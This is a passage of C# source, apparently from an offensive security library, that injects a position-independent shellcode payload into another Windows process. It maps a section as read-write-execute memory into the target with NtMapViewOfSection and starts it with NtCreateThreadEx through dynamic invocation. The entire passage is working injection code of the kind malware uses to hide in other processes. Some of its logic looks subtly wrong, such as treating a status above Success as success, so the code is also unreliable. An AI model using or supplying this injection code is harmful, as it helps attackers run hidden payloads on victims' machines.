/// <summary> /// Allocate the payload to the target process. /// </summary> /// <param name="payload">The PIC payload to allocate to the target process.</param> /// <param name="process">The target process.</param> /// <returns>Base address of allocated memory within the target process's virtual memory space.</returns> public IntPtr Allocate(PICPayload payload, System.Diagnostics.Process process) { //Get a convenient handle for the target process. IntPtr procHandle = process.Handle; //Create a section to hold our payload IntPtr sectionAddress = CreateSection((uint)payload.Payload.Length); //Map a view of the section into our current process with RW permissions SectionDetails details = MapSection(System.Diagnostics.Process.GetCurrentProcess().Handle, sectionAddress, Win32.WinNT.PAGE_READWRITE, IntPtr.Zero, Convert.ToUInt32(payload.Payload.Length)); //Copy the shellcode to the local view System.Runtime.InteropServices.Marshal.Copy(payload.Payload, 0, details.baseAddr, payload.Payload.Length); //Now that we are done with the mapped view in our own process, unmap it Win32.NtDll.NTSTATUS result = UnmapSection(System.Diagnostics.Process.GetCurrentProcess().Handle, details.baseAddr); //Now, map a view of the section to other process. It should already hold our shellcode. //If the shellcode supports it, you should use RX memory rather than RWX. SectionDetails newDetails = MapSection(procHandle, sectionAddress, Win32.WinNT.PAGE_EXECUTE_READWRITE, IntPtr.Zero, (uint)payload.Payload.Length); return(newDetails.baseAddr); }
/// <summary> /// Create a thread in the remote process using NtCreateThreadEx. /// </summary> /// <param name="payload"></param> /// <param name="baseAddr"></param> /// <param name="process"></param> /// <returns></returns> public override bool Inject(PayloadType payload, IntPtr baseAddr, System.Diagnostics.Process process) { if (IsSupportedPayloadType(payload)) { IntPtr threadHandle = new IntPtr(); //Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. Win32.NtDll.NTSTATUS result = DynamicInvoke.Native.NtCreateThreadEx(ref threadHandle, Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, IntPtr.Zero, process.Handle, baseAddr, IntPtr.Zero, options.suspended, 0, 0, 0, IntPtr.Zero); //If successful, return the handle to the new thread. Otherwise return NULL if (result > Win32.NtDll.NTSTATUS.Success) { handle = threadHandle; return(true); } else { return(false); } } else { throw new PayloadTypeNotSupported(payload.GetType()); } }
/// <summary> /// Creates a new Section. /// </summary> /// <param name="size">Max size of the Section.</param> /// <returns></returns> private static IntPtr CreateSection(ulong size) { //Create a pointer for the section handle IntPtr SectionHandle = new IntPtr(); ulong maxSize = size; Win32.NtDll.NTSTATUS result = DynamicInvoke.Native.NtCreateSection(ref SectionHandle, 0x10000000, IntPtr.Zero, ref maxSize, Win32.WinNT.PAGE_EXECUTE_READWRITE, Win32.WinNT.SEC_COMMIT, IntPtr.Zero); //Perform error checking on the result if (result >= 0) { return(SectionHandle); } else { return(IntPtr.Zero); } }
/// <summary> /// Maps a view of a section to the target process. /// </summary> /// <param name="procHandle">Handle the process that the section will be mapped to.</param> /// <param name="sectionHandle">Handle to the section.</param> /// <param name="protection">What permissions to use on the view.</param> /// <param name="addr">Optional parameter to specify the address of where to map the view.</param> /// <param name="sizeData">Size of the view to map. Must be smaller than the max Section size.</param> /// <returns>A struct containing address and size of the mapped view.</returns> private static SectionDetails MapSection(IntPtr procHandle, IntPtr sectionHandle, uint protection, IntPtr addr, uint sizeData) { //Create an unsigned int to hold the value of NTSTATUS. UIntPtr ntstatus = new UIntPtr(); //Copied so that they may be passed by reference but the original value preserved IntPtr baseAddr = addr; uint size = sizeData; uint disp = 2; uint alloc = 0; //Returns an NTSTATUS value Win32.NtDll.NTSTATUS result = DynamicInvoke.Native.NtMapViewOfSection(sectionHandle, procHandle, ref baseAddr, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref size, disp, alloc, protection); //Create a struct to hold the results. SectionDetails details = new SectionDetails(baseAddr, sizeData); return(details); }